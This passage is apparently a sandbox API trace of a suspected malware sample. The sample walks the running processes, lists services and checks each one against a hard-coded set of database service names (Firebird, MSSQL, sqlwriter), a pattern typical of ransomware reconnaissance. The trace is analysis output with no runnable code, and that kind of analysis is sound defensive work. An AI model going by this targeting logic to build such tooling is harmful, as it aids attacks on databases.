th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.943] lstrlenW (lpString="svchost.exe") returned 11 [0139.943] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0139.944] lstrlenW (lpString="taskhostw.exe") returned 13 [0139.944] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0139.945] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0139.945] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0139.945] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0139.945] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0139.946] lstrlenW (lpString="explorer.exe") returned 12 [0139.946] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0139.947] lstrlenW (lpString="Memory Compression") returned 18 [0139.947] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0139.948] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0139.948] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0139.948] lstrlenW (lpString="SearchUI.exe") returned 12 [0139.949] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0139.949] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0139.949] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0139.950] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0139.950] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0139.951] lstrlenW (lpString="taskhostw.exe") returned 13 [0139.951] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0139.952] lstrlenW (lpString="UsoClient.exe") returned 13 [0139.952] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0139.953] lstrlenW (lpString="msoia.exe") returned 9 [0139.953] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0139.954] lstrlenW (lpString="taskhostw.exe") returned 13 [0139.954] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0139.955] lstrlenW (lpString="msoia.exe") returned 9 [0139.955] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0139.955] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0139.955] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0139.956] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0139.956] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0139.957] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0139.957] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0139.957] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0139.958] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0139.958] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0139.958] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0139.959] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0139.959] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0139.960] lstrlenW (lpString="concerned venture.exe") returned 21 [0139.960] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0139.960] lstrlenW (lpString="organizingscsi.exe") returned 18 [0139.960] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0139.961] lstrlenW (lpString="airplane placing.exe") returned 20 [0139.961] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0139.962] lstrlenW (lpString="circus.exe") returned 10 [0139.962] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0139.962] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0139.962] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0139.963] lstrlenW (lpString="das.exe") returned 7 [0139.963] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0139.964] lstrlenW (lpString="beam removable.exe") returned 18 [0139.964] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0139.965] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0139.965] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0139.966] lstrlenW (lpString="dome.exe") returned 8 [0139.966] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0139.968] lstrlenW (lpString="wiresjacket.exe") returned 15 [0139.968] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0139.969] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0139.969] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0139.970] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0139.970] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0139.971] lstrlenW (lpString="tested.exe") returned 10 [0139.971] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0139.972] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0139.972] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0139.973] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0139.973] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0139.974] lstrlenW (lpString="level.exe") returned 9 [0139.974] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0139.975] lstrlenW (lpString="dllhost.exe") returned 11 [0139.975] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0139.975] lstrlenW (lpString="conhost.exe") returned 11 [0139.975] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0139.976] lstrlenW (lpString="conhost.exe") returned 11 [0139.976] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.983] lstrlenW (lpString="svchost.exe") returned 11 [0139.983] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0139.984] lstrlenW (lpString="load0.exe") returned 9 [0139.984] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0139.985] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0139.985] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0139.986] lstrlenW (lpString="conhost.exe") returned 11 [0139.986] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0139.987] lstrlenW (lpString="cmd.exe") returned 7 [0139.987] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0139.988] lstrlenW (lpString="conhost.exe") returned 11 [0139.988] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0139.989] lstrlenW (lpString="svchost.exe") returned 11 [0139.989] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0139.989] lstrlenW (lpString="mode.com") returned 8 [0139.990] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0139.990] CloseHandle (hObject=0x10cc) returned 1 [0139.990] Sleep (dwMilliseconds=0x1f4) [0140.506] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e35a0 [0140.507] EnumServicesStatusExW (in: hSCManager=0x5e35a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0140.507] GetLastError () returned 0xea [0140.507] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x64ac08 [0140.508] EnumServicesStatusExW (in: hSCManager=0x5e35a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0140.509] CloseServiceHandle (hSCObject=0x5e35a0) returned 1 [0140.509] lstrlenW (lpString="Appinfo") returned 7 [0140.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0140.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0140.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0140.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0140.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0140.509] lstrlenW (lpString="AppXSvc") returned 7 [0140.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0140.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0140.509] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0140.509] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0140.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0140.509] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0140.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0140.509] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0140.509] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0140.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0140.509] lstrlenW (lpString="Audiosrv") returned 8 [0140.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0140.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0140.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0140.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0140.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0140.510] lstrlenW (lpString="BFE") returned 3 [0140.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0140.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0140.510] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0140.510] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0140.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0140.510] lstrlenW (lpString="BITS") returned 4 [0140.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0140.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0140.510] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0140.510] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0140.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0140.510] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0140.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0140.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0140.510] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0140.510] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0140.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0140.510] lstrlenW (lpString="CDPSvc") returned 6 [0140.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0140.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0140.510] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0140.510] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0140.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0140.510] lstrlenW (lpString="ClickToRunSvc") returned 13 [0140.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0140.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0140.511] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0140.511] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0140.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0140.511] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0140.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0140.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0140.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0140.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0140.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0140.511] lstrlenW (lpString="CryptSvc") returned 8 [0140.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0140.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0140.511] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0140.511] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0140.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0140.511] lstrlenW (lpString="DcomLaunch") returned 10 [0140.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0140.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0140.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0140.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0140.511] lstrlenW (lpString="DeviceAssociationService") returned 24 [0140.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0140.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0140.511] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0140.511] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0140.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0140.512] lstrlenW (lpString="Dhcp") returned 4 [0140.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0140.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0140.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0140.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0140.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 